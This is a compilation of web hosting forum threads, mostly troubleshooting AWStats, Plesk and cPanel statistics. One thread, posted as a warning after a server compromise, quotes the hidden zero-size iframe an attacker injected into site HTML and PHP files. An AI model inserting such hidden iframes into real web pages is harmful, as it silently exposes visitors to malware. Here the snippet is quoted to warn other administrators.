Awstats Inflates Pages Count

Mar 19, 2007

I've recently taken over the hosting of a large site and forum, and I want to use some for of statistics software of service so that I can determine how many unique visitors and pageviews the site and forum get (which can then be used when dealing with advertisers).

I've been using Webalizer for years, but it's not been updated in over 5 years, so it's out. I then stumbled on Awstats, which works great, but... it doesn't calculate the pageviews correctly.

At the present moment Awstats claims to have tracked approx. 2 million pageviews for the (vBulletin) forum. However, when I scroll down I notice that on number #1 in the "Pages URL Top 10" is image.php, which is used for avatars and is not a page!

Now it appears Awstats has two ways of dealing with this: the "SkipFiles" option and the "NotPageList" option. The first (SkipFiles) drops whole URLs from the stats, which isn't what I want: I just don't want them to be counted as pages.

The second (NotPageList) only accepts file extentions, not script names. This again isn't what I want: hits on showthread.php should still be counted as pages, only hits on image.php shouldn't be.

The site has a similar problem where I don't want scripts like stylesheet.php, rss.php and xml.php from being counted as pages.

My question: does anyone know a solution for this problem? Maybe a hack to allow "NotPageList" to accept script names and/or ULRs?

Alternatively: does anyone know another statistics package that's about on par or better than Awstats that can do this (and that works on Linux/Unix with logs generated by lighttpd+php-fastcgi) and that is not too expensive (max $200)?

Google Analytics isn't suitable for me (even though it would probably work well) because the site goes over 5 million pageviews/month and I don't have a Adwords account.

Plesk 12.x / Linux :: Awstats Not Building Static Pages

Nov 5, 2014

I have an issue with Plesk and Awstats not building the html pages for website statistics. Problem is server-wide i.e. it effects all domains.

I've tried to manually run the /usr/local/psa/admin/sbin/statistics with every possible options but all that happens is that awstats calculates new stats to the vhosts /var/www/vhosts/system/domain.tld/statistics/webstat/awstatsMMYYYY.domain.tld-http.txt file.

Nothing is put into the /var/www/vhosts/system/domain.tld/statistics/webstat/YYYY-MM folder which should contain the static html pages.

Example listings:

Code:
# ll /var/www/vhosts/system/<domain.tld>/statistics/webstat
total 80
drwxr-xr-x 4 root root 4096 Nov 5 10:58 ./
dr-xr-x--- 6 root psaserv 4096 Oct 23 12:36 ../
drwxr-xr-x 2 root root 4096 Oct 23 13:12 2014-10/

[Code] ....

I was able to create the static pages by running Awstats directly:

Code:
# /usr/share/awstats/tools/awstats_buildstaticpages.pl -awstatsprog=/usr/lib/cgi-bin/awstats.pl -configdir=/usr/local/psa/etc/awstats -config=<domain.tld>-http -dir=/var/www/vhosts/system/<domain.tld>/statistics/webstat/current

So things I have already checked:
- Awstat paths in /etc/psa/psa.conf are correct
- Domain configs are ok as awstat can create the stats data and awstats_buildstaticpages.pl can can create the pages just fine
- File permissions are ok

I just cannot figure what the problem is. /usr/local/psa/admin/sbin/statistics doesn't give any errors but on the other hand it doesn't have a debug option either which might be useful.

OS: Ubuntu 14.04.1 LTS
Plesk version: 12.0.18 Update #22

Plesk 11.x / Linux :: How To Rebuild Awstats Static Pages Of Migrated Database Files

Mar 14, 2014

I had an hosting account with a copany, recently I migrated to VPS managed by plesk 11.5..I was able to get the awstats database file from the old host, and i have copied them in the /var/www/vhosts/mydomain.com/statistics/webstats/ folder, together with the other database files genereted by the new VPS hosting

Only problem is that plesk only rebuilds everyday the static page for the current month, and I see no way to ask him to build the pages for this past months. Also would be good if he would rebuild the header to have updated the dropdown menu from which to choose the month to dispay..Is it possible to rebuild manually these static pages?

Bandwidth :: How Does It Count Actually

May 11, 2009

I have question about the bandwidth. I have a VPS with 1000gb of bandwidth. How does it count actually. 500gb up & 500gb down or 1000gb up & 1000gb down or what? Is it the same with the shared hosting? I think I don't really need that much of bandwidth.

EMAIL COUNT

Jul 16, 2008

I got an alert from cpanel that a user had sent out 100s of emails and they were NOT being blocked, ofcourse to discover it was spam...without question, i deleted the account, thankfully i know who the site belongs too, and ofcourse im sure they didnot send spam,:..

1) Is it within common practice to delete someones account once such is noticed occuring on their account?..with or without notice

2) How can the server block such mass emails from being sent out? ( I have recently advised some of our clients to use newsletter services to send out mass mails if they have to send to 100+ plus people)

3) I found the script that sent out the spam emails..it was a file called sky.php i deleted but i never got a warning that such a file had been uploaded to that account...

Why Non-ssl Pages Are Blank, Ssl Pages Work

Feb 1, 2008

I am moving to a new server. At first the [url]version of the site was fine. I had trouble getting [url]working. Once I had the path to the certificate file correct, I was good to go. So, I started moving data. I also ran some updates on the new server (installed mysql, php, related pkgs). I don't know when the [url]pages stopped working, but I didn't realize it until I had everything moved over and tried to go live. The pages are completely blank. If I view source, I get this: ....

Hacked; Warning: Count.php?o=2 Code

Jul 16, 2008

On 4/11 at 5:30pm, my server's root was compromised and someone had a field day on my server. Surprisingly with the level of access they had, the person very quietly ran a script (I've yet to find the file, but saw reference to it in another forum about this) that updated every single .html, .htm, and *index.php file in the homes directory. I can't even count how many files were edited -- atleast 100-200 files I've had to manually change thus far.

That said, I wanted to warn everyone about this. My google results were slim on this subject. What I find really surprising is that Avast! is the only anti-virus software to warn me of the possible malware being opened. I use either at home or at my office Avast!, BitDefender 2008, Symantec Corporate Antivirus, and McAfee corporate Antivirus. I just installed Avast! yesterday just for "peace of mind" and I'm damned glad that I did because it immediately popped up about HTML:iframe-gen malware on my websites.

I have enabled e-mail sending whenever someone logs into the root account on my server -- which I believe I received the tutorial from here in the How-To section -- and I did receive an e-mail for the person logging into the root account via SSH, but the IP address and hostname was left blank. Does anyone know why the IP and hostname would be blank? That doesn't mean they were console, does it?

Here is the HTML code that was inserted into all of my .htm, .html, and *index.php files:

<iframe src=[url] width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

Plesk Automation :: How To Count Websites For Per-website Licensing Model

Apr 17, 2015

I've asked sales a few times but they don't seem to know...what counts as a "website?" In PPA as a test we set up two subscriptions and one mail-only secondary domain on one of them. The Services/Websites tab lists all three, but only two are marked as Website under Hosting Type while the third is marked No Hosting. Does that count as two websites for license purposes, or three?

I'm trying to plan for multiple domains, subdomains, etc.

Awstats Config

Jun 4, 2009

I have tried to manually setup awstats on a website in Windows 2008 with IIS 7. The problem here is that I have to create two conf files for each website, one named awstats.sitename.conf and the other awstats.www.sitename.conf. If I don't do so, then awstats does not work on either www.sitename.com or sitename.com. I cannot update the stats or view it from the browser. I have a few Hosting controller servers in which awstats is used and I compared the conf file with them and there is no difference. I wonder what could be the issue.

DownTownHost And AWStats

May 2, 2008

I have been more than 1 year with DownTownHost, and although overall they are quite OK, yet I need to point out some serious flaws which no one ever mentions. This is just an honest complaint.

Namely - downtime.

There is downtime on DownTownHost which in my case lasts a few days each month. I have not been analyzing my stats closely, but when I do, I notice there is a monthly downtime...

The reason - I don't know.

The last time, I can see from AW stats that for about 48 hours there was downtime resulting in site became inaccessible, and there were ZERO visitors for 24 hours at least.

It seems towards the end of the month, there will be downtime...of some kind. Around 27/28/29 of the month. Visitor levels will show a drop for a few days during this period.

Or if not the end of the month, then in the middle of the month....

But last month was bad....1 whole day my blog was not available. Zero visitors recorded.

I just want to know if anyone experienced this also or not.

My server is server 20.

DTH is OK in most things....but downtime is something I really don't tolerate....

Maybe there is an explanation for this, but if these continue, I will look for another host.

Lighttpd + AWStats = @#%*

I've been trying to get this running forever as I have a huge logfile to parse and nothing to do it with.

I'm following this tutorial, but when I access awstats.mydomainname.com it simply takes me to the server.document-root specified in lighttpd.conf

Is there some way to just get awstats to parse the whole thing and spit out a static page in a location of my choosing?

Awstats And Google Earth

Apr 29, 2008

Not sure if this is the right forum; please go ahead and move if necessary.

I host a Google Earth file, and in awstats, GE shows up as an unknown browser. For that reason, it's pretty impossible to get more-or-less accurate statistics for what version of GE people are using by looking at the analysis in awstats. Example output:

Unknown browsers (useragent field) User agent (178)Last visit GoogleEarth/4.2.0205.5730(X11;Linux_(2.6.22.0);ja-JP;kml:2.2;client:Free;type:default)28 Apr 2008 - 19:17 GoogleEarth/4.2.0205.5730(Windows;Microsoft_Windows_XP_(Service_Pack_2);es-MX;kml:2.2;client:Free;type:default)28 Apr 2008 - 19:17 GoogleEarth/4.2.0198.2451(Windows;Microsoft_Windows_XP_(Service_Pack_2);es-ES;kml:2.2;client:Free;type:default)28 Apr 2008 - 19:13 GoogleEarth/4.2.0205.5730(Macintosh;Mac_OS_X_(10.5.2);en;kml:2.2;client:Free;type:default)28 Apr 2008 - 18:59

In Webalizer, it does show you the top 55 Agents, and does manage to show some GE agents there, but it's not very pretty nor is it complete. Example output:

Top 15 of 236 Total User Agents
# Hits User Agent
1 120168 34.41% GoogleEarth/4.2.0205.5730(Windows;Microsoft Windows XP (Servi
2 37391 10.71% GoogleEarth/4.2.0198.2451(Windows;Microsoft Windows XP (Servi
3 32127 9.20% GoogleEarth/4.2.0205.5730(Windows;Microsoft Windows Vista (Se
4 28562 8.18% GoogleEarth/4.3.7191.6508(Windows;Microsoft Windows XP (Servi
5 13101 3.75% GoogleEarth/4.3.7191.6508(Windows;Microsoft Windows Vista (Se
6 8649 2.48% kh_lt/LT4.0.2737

My question is, is there a plugin for awstats that'll give me better results for my stats? Or any other solutions that people want to suggest? I'd like something easy to install or set-up, please don't suggest I run any funky cron-jobs or something.

Aggregating AWStats Info

Feb 23, 2006

We run about 100 sites across our cluster, and we want to be able to view a more detailed report of what's going on across the network. We already have an aggregate AWStats view which shows overall network info...

What we were hoping for was a way to generate a table of each site, the core info for each site (ie: uniques, visitors, pages, hits, traffic) and then to click on the name of the site to go to the actual AWStats reporting page.

The thing is, I've SEEN this tool somewhere... but just can't remember where, and mutliple searches turned up empty.

Awstats Not Updating Frequently Enough

Jan 11, 2009

My Awstats is updating every other day and I would like it to up date daily.

I am in my third month of hosting and in about first 2 months, Awstats would update every day.

I have searched and read where it is possible to get Awstats to update manualy but it seems that my scenario isn't the same as everyone else's.

I am accessing my Awstats through CPanel and there is no way that I see to modify when Awstats updates.

Awstats Always Gives Warning Message

May 17, 2008

We have CentOS 4 and whm 11 on the server

We are getting following error while we view the awstats.

WARNING: LastLine parameter in history file is '20080518001148' so in future. May be you need to correct manually the line LastLine in some awstats*.domain.com .conf files.

is there anything to run on server to fix this issue globally as we are facing this for all domains on server.

Also in the awstats configuration file of the website(awstats.domain.com.conf). when we make the value
WarningMessages = 0
then the error gets fixed.

But after running /scripts/runweblogs < username > the value of WarningMessages again come back to 1
WarningMessages=1

and we again see the above Warning message in the awstats webpage.
